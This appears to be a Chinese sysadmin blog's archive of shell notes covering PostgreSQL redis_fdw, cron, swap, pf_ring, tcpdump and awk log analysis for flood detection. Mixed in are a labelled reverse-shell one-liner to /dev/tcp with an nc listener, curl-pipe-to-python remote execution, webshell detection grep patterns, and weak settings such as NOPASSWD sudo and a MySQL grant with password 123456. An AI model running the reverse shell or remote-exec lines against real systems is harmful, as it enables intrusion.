月度归档:2015年06月

ubuntu下安装postgresql扩展redis_fdw

fdw 地址:https://github.com/pg-redis-fdw/redis_fdw/tree/REL9_3_STABLE.zip   这里注意选择分支,不同的版本对应不同的分支

首先安装postgresql

apt-get install postgresql postgresql-contrib postgresql-server-dev-all 

先安装redis_fdw的hiredis

wget https://github.com/redis/hiredis/archive/v0.13.1.tar.gz
unar xxx.tar.gz 
make  & make install

接下来安装 redis_fdw

wget https://github.com/pg-redis-fdw/redis_fdw/archive/REL9_3_STABLE.zip 
unar xxx.zip
make & make install

如果安装成功 会有一个文件产生

/usr/lib/postgresql/9.3/lib/redis_fdw.so

解决lib文件路径

ln -s /usr/local/lib/libhiredis.so.0.13 /usr/lib/

接下来进入postgresql的shell

psql -U postgres -d exampledb
exampledb=> \dx  #查看扩展列表

exampledb=# \dx
                 List of installed extensions
  Name   | Version |   Schema   |         Description          
---------+---------+------------+------------------------------
 plpgsql | 1.0     | pg_catalog | PL/pgSQL procedural language
(1 row)

exampledb=# create extension redis_fdw;
CREATE EXTENSION
exampledb=# CREATE SERVER redis_server
exampledb-# FOREIGN DATA WRAPPER redis_fdw
exampledb-# OPTIONS (address '127.0.0.1', port '6379');
CREATE SERVER
exampledb=# CREATE FOREIGN TABLE redis_db0 (key text, value text) 
exampledb-# SERVER redis_server
exampledb-# OPTIONS (database '0');
CREATE FOREIGN TABLE
exampledb=# CREATE USER MAPPING FOR PUBLIC
exampledb-# SERVER redis_server;
CREATE USER MAPPING
exampledb=# select * from redis_db0 ;
 key | value 
-----+-------
(0 rows)

接下在redis-cli 中 往0队列中插入内容

redis 127.0.0.1:6379> MSET one 1 two 2 three 3 four 4
OK

exampledb=# select * from redis_db0 ;
  key  | value 
-------+-------
 four  | 4
 three | 3
 two   | 2
 one   | 1
(4 rows)

实现同步,

接下来可直接操作数据库的表, 再查看redis中的队列有没有变化。余下的留给自己实验了

shell mark

#crontab每隔几小时的正确写法

* */1 * * * #错误的每隔一小时执行一次,事实上每分钟执行一次
0 */3 * * * #错误的每隔3小时执行一次写法 只是到3小时后的0分执行
*/60  * * * * #每60分钟即每小时执行一次
*/120 * * * * #每120分钟即每两小时执行一次
*/120 * * * * root /opt/clean.sh   #注意必要的地方要带上用户

#定时删除过期日志

cat /opt/clean.sh
#!/bin/bash
find /home/tomcat/tomcat-7.0.54/logs/ -mtime +0.4 -name "*2018-*" -exec rm {} \;

cat /etc/cron.d/clean 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
*/120 * * * * root /opt/clean.sh

#另find mtime解释
find . -mtime N
实际上你应该这样理解..
N * 24
+1 内表示 1 * 24 +24小时以外..
+0 才表示 0 * 24 +24小时以外
1 表示 1*24 + 24 到 24 之间..
0 表示 0*24 + 24 到 0 之间..
-1 表示 0*24 +24 内,甚至为未来时间...

#rc.local 不生效

#确保 rc-local sysv-rc 服务存在
#确保rc.local 第一行存在 #!/bin/bash 
apt-get install initscripts
chmod +x /etc/rc.local

#Kubernetes创建pod一直处于ContainerCreating  open /etc/docker/certs.d/registry.access.redhat.com/redhat-ca.crt: no such file or directory

yum install python-rhsm-certificates   #检查/etc/rhsm/ca/redhat-uep.pem  文件是否存在, 如果存在不进行如下步骤
wget http://mirror.centos.org/centos/7/os/x86_64/Packages/python-rhsm-certificates-1.19.10-1.el7_4.x86_64.rpm
rpm2cpio python-rhsm-certificates-1.19.10-1.el7_4.x86_64.rpm | cpio -div
cp redhat-uep.pem /etc/rhsm/ca
ln -s  /etc/rhsm/ca/redhat-uep.pem /etc/docker/certs.d/registry.access.redhat.com/redhat-ca.crt

#root sudo

vi /etc/sudoers
zabbix  ALL=(ALL:ALL) NOPASSWD:ALL
root ALL=(ALL) ALL

#sed多行删除与替换

#sed 多行删除
sed -i '/java\.lang\.ClassCastException0.*/{:n;N;/Thread\.java:745/!bn};d' t.txt

#sed 多行替换
sed '/<Directory .*>/{:n;N;/<\/Directory>/!bn};s/\n.*\n/\n    Options None\n    AllowOverride None\n    Order deny,allow\n    Deny from all\n/' urfile

#python查看包路径

import redis
print redis.__file__

#apt-get 安装的zookeeper 设置JVM内存大小

/usr/share/zookeeper/bin/zkEnv.sh
export JVMFLAGS="-Xmx2048m -Xms2048m"

#linux倒序显示

root@debian:/opt# tac /tmp/passwd 
root@debian:/opt# sed '1!G;h;$!d' /tmp/passwd 
root@debian:/opt# awk '{a[NR]=$0}END{for(i=NR;i>0;i--)print a[i]}' /tmp/passwd 

#zk zookeeper 前台启动,用户显示错误信息,方便排查错误

zkServer.sh start-foreground

apt-get install curl software-properties-common
curl -sL https://deb.nodesource.com/setup_10.x |  bash -
apt-get update
apt-get install nodejs

#linux tcpping

apt-get install tcptraceroute bc
wget http://www.vdberg.org/~richard/tcpping
tcpping x.x.x.x xxx
yum install tcptraceroute bc

#tcpping

tcping x.x.x.x xxx
psping x.x.x.x xxx
#linux
tcpping

tcproute
#linux
tcptraceroute

#重置centos7.x root密码

#问题:centos7怎么进入单用户模式
#答案:在grub2菜单,按e编辑;找到linux16开头的那一行,在最后加上init=/bin/bash;
#这样做是只读模式,如果要改成读写模式还需要把linux16开头那一行中间的ro改成rw;
#如果你用的是kvm做了console连接授权,还要把授权的console=ttyS0去掉,再加上init=/bin/bash;
#最后按ctrl+x
init=/bin/bash
mount -o remount,rw /
passwd root
exec /sbin/init 或
exec /sbin/reboot

#增加swap空间

dd if=/dev/zero of=/var/swapfile1 bs=1024 count=209715200
mkswap /var/swapfile1
swapon /var/swapfile1

/etc/fstab文件, 在文件的末尾加上/var/swapfilel swap swap defaults 0 0

#md5文件hash

for i in {"/etc","/bin","/sbin","/usr/bin","/usr/sbin"};do md5deep -r $i >>/usr/local/file_hashs.txt;done

#ipvsadm

#查看具体连接
ipvsadm -lcn

#zk 导出

git clone https://github.com/ctapmex/zkTreeUtil.git     #zookeeper zk 导出工具
./zktreeutil.sh -z 172.16.132.176:2181 -of ./a.txt -e
./zktreeutil.sh -z 172.16.132.176:2181 -ox ./b.txt -e

#ps 查看命令的全部内容

ps aux----->ps auxww                    # add ww
ps aux --width=10000

#add swap

#add swap
dd if=/dev/zero of=/swapfile bs=1M count=4096 && mkswap /swapfile && swapon /swapfile
vim /etc/fstab
/swapfile swap swap defaults 0 0
vim /etc/sysctl.conf
vm.swappiness = 0

#tcpdump抓包并保存

nohup tcpdump port 9980 -s0 -G 86400 -Z root -w /opt/bd_%Y_%m%d_%H%M_%S.pcap & 

#如果wireshark 打开报错 可尝试 修复
pcapfix bd.pcap

#mysql添加账号

GRANT ALL PRIVILEGES ON *.* TO 'testa'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION; 
FLUSH   PRIVILEGES;

#fping 查看存活主机

fping -a -g 172.21.10.1 172.21.11.254 2> /dev/null

#fping 查看不存活主机

fping -u -g 172.21.10.1 172.21.11.254 2> /dev/null

#Linux 下编译 Mac 和 Windows 64位可执行程序

CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go

#把大文件按行分隔成小文件

split -l 1000000 pinggood.txt split_ -d

#linux调试

objdump
edb #https://github.com/eteran/edb-debugger

#nmap1

nmap -iL ok_8123.txt -p 8123 -n -T5 -oG - > ./8123_result.txt

#nginx rewrite

location ~* ^/get{
     rewrite ^/get?(.*)$ /get.php?$1 last;                                                                                                                                                  
 }   

#http://www.so-cools.com/get?xxx=123==>http://www.so-cools.com/get.php?xxx=123

#查看LV 分区 硬盘情况  并挂载LV分区  (类似的img文件也可以)

lsblk   #比mount直观
由于cinder在lvm下,会给每一个云主机创建一个lv, 但是我们想知道里面的内容是什么,

fdisk -l /dev/centos/volume-ac76794d-8045-4147-98b5-31683a7cc476

Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 65536 bytes / 65536 bytes
Disk label type: dos
Disk identifier: 0x00000000

                                                   Device Boot      Start         End      Blocks   Id  System
/dev/centos/volume-ac76794d-8045-4147-98b5-31683a7cc476p1   *       16065     2088449     1036192+  83  Linux

#关键:
Units = sectors of 1 * 512 = 512 bytes    1块的长度是多少
Start   = 16065

开始地址就为  16065 * 512 = 8225280
挂载命令就为
mount -o loop,offset=8225280 /dev/centos/volume-ac76794d-8045-4147-98b5-31683a7cc476 /mnt/xx

参考:https://unix.stackexchange.com/questions/82314/how-to-find-the-type-of-img-file-and-mount-it

mount -o loop,ro,offset=$(( 512*1526301 )) /dev/xxxd /mnt/


#也可以使用类似

#debian安装node

apt-get autoremove node
apt-get autoremove npm
curl -sL https://deb.nodesource.com/setup | bash -
apt-get install nodejs
npm cache clean -f
npm install -g n
n stable

#debian apt安装oracel jdk

echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main" | tee /etc/apt/sources.list.d/webupd8team-java.list
echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main" | tee -a /etc/apt/sources.list.d/webupd8team-java.list
apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys EEA14886
apt-get update
apt-get install oracle-java8-installer oracle-java8-set-default

#http://www.webupd8.org/2014/03/how-to-install-oracle-java-8-in-debian.html

#iptables删除已有规则(行号简单版本)

iptables -L INPUT --line-numbers #列出指定的链的规则的编号来
iptables -D INPUT 3 #例如上面要删除一个INPUT链的规则的话可以这样

#chrome 直接获取网络封包

chrome://net-internals/

#centos 7 安装  pfring-drivers-zc

yum install dmsg kernel-devel
rpm -Uvh http://packages.ntop.org/rpm7/Packages/e1000e-zc-3.2.7.1.1633-dkms.noarch.rpm
rpm -Uvh http://packages.ntop.org/rpm7/Packages/i40e-zc-2.3.6.1633-1dkms.noarch.rpm
rpm -Uvh http://packages.ntop.org/rpm7/Packages/igb-zc-5.3.3.5.1633-dkms.noarch.rpm
rpm -Uvh http://packages.ntop.org/rpm7/Packages/ixgbe-zc-5.0.4.1633-dkms.noarch.rpm
rpm -Uvh http://packages.ntop.org/rpm7/Packages/pfring-dkms-7.1.0-1633.noarch.rpm
rpm -Uvh http://packages.ntop.org/rpm7/Packages/pfring-drivers-zc-dkms-1.2-0.noarch.rpm

然后 lsmod | grep pf
pf_ring              1238340  2

#批量清空某个目录下的所有文件

find . -type f -exec cp /dev/null {} \;

#ubuntu debian 设置网卡启动,但是不给分配ip

auto eth1
iface eth1 inet manual

#制作u盘启动盘 centos windows

Win32 Disk Imager   

rufus

#这两个工具比较方便

#rar命令行加密

rar a  -hpasdfasdfasdfasdfasdfasdf test.rar xxx.tar    #加密头和数据

rar a  -pasdfasdfasdfasdfasdfasdf test.rar xxx.tar   #只加密数据

#https://www.rarlab.com/download.htm   linux rar 下载

#dnsmasq安装

resolv-file=/etc/resolv.dnsmasq.conf
strict-order
no-hosts
addn-hosts=/etc/dnsmasq_hosts
cache-size=1500
listen-address=172.31.114.114  #listen-address这个必须加, 不然跨网段就不能回复dns查询结果了

#raspberry备份

dd if=/dev/sdb | gzip>/tmp/img_backup2.gz

#还原
dd if=/root/2016-02-09-raspbian-jessie-lite.img of=/dev/sdb bs=4M
dd if=2016-02-09-raspbian-jessie-lite.img | pv | sudo dd of=/dev/sdX bs=4M

#raspberry还原

sudo gzip -dc /home/pi/img_backup.gz | sudo dd of=/dev/xxx

#raspberry备份1

dd if=/dev/mmcblk0 of=pi-debian-unencrypted-backup.img

#cpu压力测试

sysbench --test=cpu --num-threads=8 --max-requests=100000 run
sysbench --test=cpu --num-threads=1 --max-requests=10000 run

#/tmp 目录防止清空

#cat /etc/tmpfiles.d/tmp.conf
d /tmp 1777 root root 20d

#wget下载JDK

wget --header "Cookie: oraclelicense=accept-securebackup-cookie" http://download.oracle.com/otn-pub/java/jdk/8u131-b11/d54c1d3a095b4ff2b6607d096fa80163/jdk-8u131-linux-x64.tar.gz

#jdk8

https://www.so-cools.com/test/jdk8.tar.gz

#jdk 镜像

http://mirrors.linuxeye.com/jdk/

#解决mysql更新错误

#apt-get upgrade更新后的错误提示
# insserv: warning: current start runlevel(s) (empty) of script `mysql' overrides LSB defaults (2 3 4 5)
#初看以为这还不容易么
#systemctl enable mysql  结果仍然报错
#Synchronizing state of mysql.service with SysV init with /lib/systemd/systemd-sysv-install...
#Executing /lib/systemd/systemd-sysv-install enable mysql
insserv: warning: current start runlevel(s) (empty) of script `mysql' overrides LSB defaults (2 3 4 5).
#update-rc.d: error: no runlevel symlinks to modify, aborting!
#突然想起以前是用 sysv-rc-conf 禁用了mysql 
sysv-rc-conf mysql on
ap-get upgrade

# aria2c下载

aria2c -c -x16 -s20 -j20 http://www.xxx.com/xx.exe

#编译apk

#查看详细报错信息
/opt/android-studio/gradle/gradle-2.14.1/bin/gradle build --stacktrace

#根据WEB日志文件和IP,统计时间段内IP访问数量,可用于CC检测

#要安装gawk  
apt-get install gawk

日志样本
157.15.14.19 - -  06 Sep 2016 09:13:10 +0300  "GET /index.php?id=1 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:13:11 +0300  "GET /index.php?id=2 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:13:12 +0300  "GET /index.php?id=3 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:14:13 +0300  "GET /index.php?id=4 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:14:14 +0300  "GET /index.php?id=5 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:15:15 +0300  "GET /index.php?id=6 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:15:16 +0300  "GET /index.php?id=7 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:15:17 +0300  "GET /index.php?id=8 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:16:10 +0300  "GET /index.php?id=9 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:16:10 +0300  "GET /index.php?id=10 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
8.8.8.8 - -  06 Sep 2016 09:17:10 +0300  "GET /index.php?id=11 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
9.9.9.9 - -  06 Sep 2016 09:17:10 +0300  "GET /index.php?id=12 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:18:10 +0300  "GET /index.php?id=13 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:19:10 +0300  "GET /index.php?id=14 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:19:10 +0300  "GET /index.php?id=15 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:20:10 +0300  "GET /index.php?id=15 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
123.123.123.123 - -  06 Sep 2016 09:21:10 +0300  "GET /index.php?id=15 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.15.14.19 - -  06 Sep 2016 09:22:10 +0300  "GET /index.php?id=15 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"



cat 5.txt |awk '{print $7,$1}' |awk -F: '{print $1*60+int($2/2),$0}' |sort |uniq -c -f2 |awk '{if($1>5){print $0}}'

或者

awk -v Interval=5 -v Trig=5 -F '[[:blank:]]*|:' '
        {
        ThisTime = $7 * 60 + $8
        #if new cycle (so this line is not in the cycle)
        if ( ThisTime > ( LastTic + Interval ) ) {
          # check and print last cycle hit
          for( IP in IPCounts) if ( IPCounts[ IP] > Trig) print LastTime " " IP " : " IPCounts[ IP]

          # reset reference
          split( "", IPCounts)
          LastTime = $4 " " $5 " " $6 " " $7 ":" sprintf( "%2d", ( $8 - ( $8 % Interval) )) ":00"
          LastTic = $7 * 60 + ( $8 - ( $8 % Interval) )
          }
        # add this line to new cycle
        IPCounts[ $1]++
        }

        END {
          # print last cycle
          for( IP in IPCounts) if ( IPCounts[ IP] > Trig) print LastTime " " IP " : " IPCounts[ IP]
          }
      ' YourFile




#若日志样本为
op.g.cc 124.145.36.121 - - [21/Nov/2016:03:38:02 +0800] ==> 172.11.0.238:80 "POST /zabbix/jsrpc.php?output=json-rpc HTTP/1.1" 200 77 "0.316" "op.g.cc/?ddreset=1&sid="; "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)" "-" "-"upstream_response_time "0.316" request_time "0.316" dd.g.cc 60.223.153.54 - - [21/Nov/2016:03:38:02 +0800] ==> 172.11.0.53:8012 "GET /?ts=1479670682&uid=&mid=&cs= HTTP/1.1" 200 479 "0.039" "-" "Dalvik/2.1.0 (Linux; U; Android 5.0.2; Redmi Note 2 MIUI/V8.0.2.0.LHMCNDG)" "-" "5.0.1.0002"upstream_response_time "0.039" request_time "0.039"


#则整理脚本为

awk -v Interval=5 -v Trig=1000 -F '[[:blank:]]*|:' '
        {
        # using format log
        #  157.15.14.19 - -  06 Sep 2016 09:13:10 +0300  "GET /index.php?id=1 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
        # $1            2 3  4  5   6    7  8  9  10      11 ...

        ThisTime = $6 * 60 + $7
        #if new cycle (so this line is not in the cycle)
        if ( ThisTime > ( LastTic + Interval ) ) {
          # check and print last cycle hit
          for( IP in IPCounts) if ( IPCounts[ IP] > Trig) print LastTime " " IP " : " IPCounts[ IP]

          # reset reference
          split( "", IPCounts)
          LastTime = $5 ":" $6 ":" sprintf( "%2d", ( $7 - ( $7 % Interval) )) ":00 +800]"
          LastTic = $6 * 60 + ( $7 - ( $7 % Interval) )
          }
        # add this line to new cycle
        IPCounts[ $2]++
        }

        END {
          # print last cycle
          for( IP in IPCounts) if ( IPCounts[ IP] > Trig) print LastTime " " IP " : " IPCounts[ IP]
          }
      ' access.log-20161122


# for format of log
#  op.g.cc 124.145.36.121 - - [21/Nov/2016:03:38:02 +0800] ==> 172.11.0.238:80 "POST ...
# $1       2              3 4 5            6  7  8  9      10   11 ...  

# change:
#  $7 by $6, $8 by $7
#  LastTime = $5 ":" $6 ":" sprintf( "%2d", ( $7 - ( $7 % Interval) )) ":00 +800]"
#  IPCounts[ $2]++

#上面日志存在跨天的 (注意里面变量计算的空格,不然会出错)

awk -v Interval=5 -v Trig=10 -F '[[:blank:]]*|\\[|/|:' '
        {
        # using format log    6->9 7->10
        #  157.15.14.19 - -  06 Sep 2016 09:13:10 +0300  "GET /index.php?id=1 HTTP/1.1" 200 16977 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
        # $1            2 3  4  5   6    7  8  9  10      11 ...

        ThisTime =$6 * 10000 + $9 * 60 + $10
        #if new cycle (so this line is not in the cycle)
        if ( ThisTime > ( LastTic + Interval ) ) {
          # check and print last cycle hit
          for( IP in IPCounts) if ( IPCounts[ IP] > Trig) print LastTime " " IP " : " IPCounts[ IP]

          # reset reference
          split( "", IPCounts)
          LastTime = "[" $6 "/" $7 "/" $8 ":" $9 ":" sprintf( "%2d", ( $10 - ( $10 % Interval) )) ":00 +800]"
          LastTic = $6 * 10000 + $9 * 60 + ( $10 - ( $10 % Interval) )
          }
        # add this line to new cycle
        IPCounts[ $2]++
        }

        END {
          # print last cycle
          for( IP in IPCounts) if ( IPCounts[ IP] > Trig) print LastTime " " IP " : " IPCounts[ IP]
          }
      ' access.log-20161122



#  op.g.cc 124.145.36.121 - - [21/Nov/2016:03:38:02 +0800] ==> 172.11.0.238:80 "POST ...
# $1       2              3 4 5 6  7   8    9 10 11   12   

#反弹shell

bash -i & /dev/tcp/1.2.3.4/7788 0&1


#本地监听:nc -l 7788

#查看连接状态

netstat -n|grep ^tcp|awk '{print $NF}'|sort -nr|uniq -c

#静态编译openresty(建议为alpine)

wget https://github.com/openresty/openresty/releases/download/v1.11.2.2/openresty-1.11.2.2.tar.gz --no-check-certificate


wget https://www.openssl.org/source/openssl-1.1.0c.tar.gz --no-check-certificate

apk add linux-headers
apk add libressl-dev
apk add libcrypto1.0

./configure --with-ld-opt="-static" && make -j2 && make install

#alpine docker(添加用户为adduser )

FROM alpine

ENV NGINX_VER nginx-1.11.6
ENV OPENSSL_VER openssl-1.0.2j
#ENV OPENSSL_VER openssl-1.1.0-pre6
# apk add linux-headers
RUN echo "http://mirrors.ustc.edu.cn/alpine/v3.5/main" > /etc/apk/repositories \
    && echo "http://mirrors.ustc.edu.cn/alpine/v3.5/community" >> /etc/apk/repositories 

RUN apk update
RUN apk add \
  pcre-dev \
  zlib-dev \
  g++ \
  make \
  perl \
  wget

#方便查看 urldecode

cat luban.log | grep sqlmap | awk '{print $7}' | xargs python -c 'import sys, urllib; print urllib.unquote(sys.argv[1])'

#删除含有匹配字符的行

sed -i '/keywords/d' access.log

#批量提取(全流量中)数据包并且过滤数据

#!/bin/bash 
 for file in ` ls $1 ` 
 do
 parse_pcap -vvb $file | grep -v "Host:" | grep -v "Cookie:" | grep -v "User-Agent:" | grep -v "Accept:" | grep -v "Accept:" | grep -v "Accept-Language:" | grep -v "Accept-Encoding:" | grep -v "Connection:" | grep -v "Content-Type:" | grep -v "Content-Length" | grep -v "Server" 
 done

#得到https master key

openssl s_client -ign_eof -connect 123.57.55.183:443 <   <( echo -e "GET / HTTP/1.1\nHost: www.so-cools.com\nConnection: close\n\n" )   | grep 'Session-ID:\|Master-Key:'


echo "export SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.bash_profile && . ~/.bash_profile   #然后再打开浏览器就行  不过只有pre_master

#wireshark 编译基于pf_ring的libpcap

#先安装好基于pf_ring的libpcap
#下载解压wireshark 源码
./configure --prefix /opt/wireshark/build/ --with-libcap=/opt/pf_rinf/build --with-qt=4 --with-gtk=no --enable-tfshark --with-lua --with-geoip && make &&make install

#LDFLAGS="-L/opt/pf_rinf/build/lib" CFLAGS="-I/opt/pf_rinf/build/include" make  这样make没用

#注意pf_ring lib 路径添加到 ld.so.conf.d  中 ldconfig

#查看SO文件版本

readelf -a xxx.so.1.7.4    #然后查看版本号

#查找新文件

#!/bin/bash
while getopts 'p:t:d:' OPT; do
    case $OPT in
        p)
            filepath="$OPTARG";;
        t)
            mtime="$OPTARG";;
        d)
            isdebug="$OPTARG";;
        ?)
            echo "Usage: `basename $0` [options] -p path -t modiytime -d isshow no Permission"
    esac
done

if [[ -z $filepath ]] ; then
	filepath="/home/tomcat/"
fi

if [[ -z $mtime ]] ; then
	mtime="1"
fi

if [[ -z $isdebug ]] ; then
	cmd_str="find ${filepath} \( -iname '*.php' -o -iname '*.jsp' \) -mtime -${mtime} 2>/dev/null"
	else
	cmd_str="find ${filepath} \( -iname '*.php' -o -iname '*.jsp' \) -mtime -${mtime}"
fi

result=$(eval $cmd_str)

if [[ -z $result ]] ; then
	echo "no_file_found_wow"
	else
	echo $result
fi

#shell中分号作用之表示分隔符(也可当换行理解)

#第一种

test(){
     if [ 1 -eq 1 ]; then
          echo "1=1"
     else
          echo "1!=1"
     fi
}

#第二种

test1(){
     if [ 1 -eq 1 ]
       then  echo "1=1"
       else  echo "1!=1"
     fi
}

#第三种

test2(){ if [ 1 -eq 1 ] ; then echo "1=1" ; else echo "1!=1" ; fi }

#firefox 安装flash

#https://get.adobe.com/cn/flashplayer/otherversions/    下载 NPAPI
cp  libflashplayer.so /usr/lib/firefox/browser/plugins/

#debian U盘安装 物理机 差网卡驱动

先下载debian镜像 比如8.6

用universal-usb-installer做U盘启动盘(不能用win32diskimager做U盘启动盘,因为它做的会导致U盘中的文件夹不能写,不能添加后面要的驱动信息)。注 Step1:选择最后一个 try unlisted linux iso

下载http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/jessie/current/firmware.zip  解压,把里面所有内容复制到U盘启动盘的firmware文件夹中

下载firmware-realtek_0.43_all.deb  用dpkg解包,并把lib/firmware 复制到U盘启动盘的firmware文件夹中

正常引导装系统,应该就不会出现 缺失的固件是:rtl_nic/rtl8105e-1.fw 这样的提示了

登陆成功后,再apt-get install firmware-linux-nonfree

#debian 安装网卡驱动

apt-get install firmware-*

#iptables 端口镜像(daemonlogger 这工具也能做镜像 或者 https://code.google.com/archive/p/port-mirroring/ 

iptables -A INPUT -i eth0 -p tcp -m tcp --sport 80 -j TEE --gateway 172.20.8.147
iptables -A OUTPUT -o eth0 -p tcp -m tcp --dport 80 -j TEE --gateway 172.20.8.147



iptables -t mangle -A PREROUTING -d 0.0.0.0/0 -j TEE --gateway 172.20.8.147
iptables -t mangle -A POSTROUTING -s 0.0.0.0/0 -j TEE --gateway 172.20.8.147

#linux终端高亮转换成html高亮显示(如ls grep 高亮结果显示为html 格式)

#aha
apt-get install aha && grep "a" /etc/passwd | aha > /tmp/a.html

#ansi2html
apt-get install kbtin && grep "a" /etc/passwd | ansi2html > /tmp/a.html

#php ansi-color 终端高亮转换成html高亮显示(如ls grep 高亮结果显示为html 格式)

https://github.com/Alanaktion/ansispan-php   #只支持旧版本, 新版本暂不支持


#查找可写目录

#!/bin/bash
search_dir=$(pwd)  
writable_dirs=$(find $search_dir -type d -perm 0777)  
for dir in $writable_dirs  
    do
        #echo $dir
        find $dir -type f -name '*.php'
done

#grep webshell

grep --colour=always -n -i -E -e '(eval|eval_r|exec|passthru|shell_exec|system|proc_open|ReflectionFunction|assert|fwrite|fopen)\s*\(\s*(\\\$|\$)(HTTP_POST_VARS|HTTP_GET_VARS|HTTP_SERVER_VARS |_POST|_REQUEST|_GET|_SESSION|_SERVER)\s*\[\s*' -e 'eval\s*\(\s*[^\)]*base64_decode' -e '(\$|\\\$)_(GET|POST)\s*\[.*?\]\s*\(\s*(\$|\\\$)_(GET|POST)\s*\[' -e 'chr\s*\(*\s*ord\s*\(\s*' -e '(gzuncompress|gzinflate)\s*\(\s*base64_decode\s*\(' -e 'chr\s*\(\s*[0-9]+\s*\)\s*\.\s*chr\s*\(\s*[0-9]+\s*\)' -e '\$.+=\s*[.-"]assert[.-"]\s*;' -e '\b(pack)\s*\(.*\);' -e '\\x[0-9]+\\x[0-9]+\\x[0-9]+' -e '(udp|tcp):\/\/' -e 'function_exists\s*\(\s*[.-"](popen|exec|proc_open|system|passthru|posix_kill|posix_getpwuid|posix_getegid)[.-"]\s*\)' -e '\\x[0-9]+' -e '(c99shell|permission\s*denide|\/etc\/passwd|exploit-db\.com|web\s*shell|\/\*-\/\*-\*\/|\/bin\/sh|phpinfo\s*\(|str_rot13\s*\()' -e '\$\{[.-"](_POST|_REQUEST|_GET|_SESSION|_SERVER)[.-"]\}' -e 'preg_replace\s*\(.*\/e.*\,\s*\$(_POST|_REQUEST|_GET|_SESSION|_SERVER)\s*' -e 'e[.-"]\s*\.\s*[.-"]v[.-"]\s*\.\s*[.-"]a[.-"]\s*\.\s*[.-"]l' -e 'ev[.-"]\s*\.\s*[.-"]a[.-"]\s*\.\s*[.-"]l' -e 'ev[.-"]\s*\.\s*[.-"]al' -e 'eva[.-"]\s*\.\s*[.-"]l' xxx.php


grep --colour=always -n -i -E -e 'getRuntime\s*\(\s*\)\s*\.\s*exec\s*\(' -e 'Runtime\s*\.\s*getRuntime' -e 'getRealPath\s*\(' -e 'PythonInterpreter' -e '\/tmp\/'  xxx.jsp

#pf_ring安装

git clone https://github.com/ntop/PF_RING.git

apt-get install linux-headers-3.16.0-4-amd64

cd kernel/ && make && make install

cd userland/lib/ && ./configure --prefix=/usr/local/pfring && make && make install

cd userland/libpcap/ && ./configure --prefix=/usr/local/pfring && make && make install

cd userland/tcpdump/ && ./configure --prefix=/usr/local/pfring && make && make install

#安装内核模块
insmod /lib/modules/3.16.0-4-amd64/kernel/net/pf_ring/pf_ring.ko && lsmod |grep pf_ring

/sbin/modprobe pf_ring transparent_mode=0 min_num_slots=65534 && cat /proc/net/pf_ring/info


echo "/sbin/modprobe pf_ring transparent_mode=0 min_num_slots=65534" >> /etc/rc.local  #添加开机自启动



#curl wget 调用安装脚本执行区别

wget "http://xxxx/test/a1.py" -O - |python - /
curl http://xxxxx/test/a1.py  |python - /

#ansible reboot

ansible all -i hosts -u root -k -m shell -a "shutdown -r +1" -f 10

#grep 关于类似 “$xxx=’e’.’va’.’l’;”类似拼接字符串

